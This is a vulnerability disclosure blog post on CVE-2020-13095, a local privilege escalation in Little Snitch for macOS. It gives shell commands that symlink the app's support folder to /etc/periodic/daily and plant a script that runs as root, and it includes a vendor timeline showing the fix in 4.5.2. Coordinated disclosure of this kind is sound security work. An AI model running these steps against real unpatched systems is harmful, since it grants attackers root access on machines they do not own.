2020-07-13 10:20 | Cees Elzinga

CVE-2020-13095: Privilege escalation in Little Snitch for macOS

Little Snitch is one of the most popular firewall solutions for macOS. Whenever an applications attempts to establish a network connection, Little Snitch will present a dialog to the user asking the allow/deny this specific connection for this program.

The following image shows a sample dialogue from Little Snitch:

LittleSnitch curl request

During my research on ExpressVPN I noticed that Little Snitch seems vulnerable to a very similar issue. If you already read that post this one will sound very familiar. Just like ExpressVPN, Little Snitch runs as various processes with different privileges:

running as | process
-------------------------------
user       | Little Snitch Network Monitor
user       | Little Snitch Helper
user       | Little Snitch Agent
root       | Little Snitch Daemon
kernel     | at.obdev.nke.LittleSnitch

Vulnerability

When the user interacts with the user-interface it tasks the daemon to execute actions that require high privileges. One of these actions is stopping and starting the network filter. While restarting the filter the program stores an encrypted version of configuration file.

LittleSnitch stop filter

The flow for storing the configuration file is as follows.

  1. Set the owner of ~/Library/Application Support/Little Snitch to the current user
  2. Open ~/Library/Application Support/Little Snitch/configuration4.user.tmp
  3. Truncate the file and write the encrypted data
  4. Change permissions to 600 (rw-------)
  5. Rename to ~/Library/Application Support/Little Snitch/configuration4.user.xpl

The vulnerability lies in the fact that the daemon is running as root but is working in the home directory of the current user. Specifically, the parent directory for Little Snitch, ~/Library/Application Support, is owned by the current user:

$ ls -al ~/Library/ | grep "Application Support"
drwx------+  98 user  staff   3136 May 13 16:46 Application Support

A malicious user could move the entire folder and symlink the directory somewhere else.

Exploitation

Attempting to understand the vulnerability better I started reversing the binary. I quickly gave up on this, as the binary employs various anti-reversing and anti-debugging techniques. Instead I decided it would be quicker to exploit it dynamically by looking at the program's behaviour without understanding all the details.

However, trying to exploit the vulnerability "blind" came with its own set of problems. Without a good understanding of the binary I had to make a lot of assumptions. These assumptions were not always correct and ended up causing some delays. For example, I assumed all five steps in the flow above are executed as root. But the binary actually drops its privileges for the last four. Only the first step is executed as root. This caused some extra work, but looking back it was still much faster than the alternative.

Moving on to the exploit. In this example Little Snitch was installed by a system administrator, but the current user is a standard user (not part of the admin group):

[email protected] ~ % id
uid=502(nonadmin) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),
399(com.apple.access_ssh),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1),
100(_lpoperator)

The low privileged user prepares a malicious symlink in his own home directory:

% mv ~/Library/Application\ Support/Little\ Snitch \
     ~/Library/Application\ Support/Little\ Snitch.bak
% ln -s /etc/periodic/daily ~/Library/Application\ Support/Little\ Snitch

Now the user stops the network filter from the menu bar and start it again.

LittleSnitch stop filter

The daemon has now been tricked and created the file /etc/periodic/daily/configuration4.user.xml, and chown()-ed the entire directory to the current user:

% ls -al /etc/periodic
total 0
drwxr-xr-x   5 root      wheel   160 Feb 29 07:44 .
drwxr-xr-x  84 root      wheel  2688 May 14 14:27 ..
drwxr-xr-x  13 nonadmin  wheel   416 May 14 14:44 daily

The user can now add a new periodic script that will be executed as root:

% cat >> /etc/periodic/daily/001.new << EOF
id >> /tmp/poc.log
EOF
% chmod 755 /etc/periodic/daily/001.new

Now wait 24 hours for the task to be executed as root. Or cheat, and verify it works manually:

... login with admin account
% sudo periodic daily
% cat /tmp/poc.log
uid=0(root) gid=0(wheel)..

Vendor response

I reported this issue on a Friday afternoon. I didn't expect an answer soon, but the same evening Objective Development confirmed the issue and already assigned a CVE number (CVE-2020-13095).

We agreed to wait with the publication of the details until users had time to upgrade.

  • 2020-05-15 - Issue reported in version 4.5.1
  • 2020-05-15 - Issue confirmed, CVE-2020-13095 assigned
  • 2020-05-26 - Version 4.5.2 release
  • 2020-07-01 - Initial details published
  • 2020-07-13 - This blog post published

Kontakt os

+45 2054 4448

[email protected]

Vester Farimagsgade 41, 1606 København V

Services | Uddannelse | Blog

© 2020 Danish Cyber Defence A/S · Vester Farimagsgade 41 · 1606 København V · CVR 38871064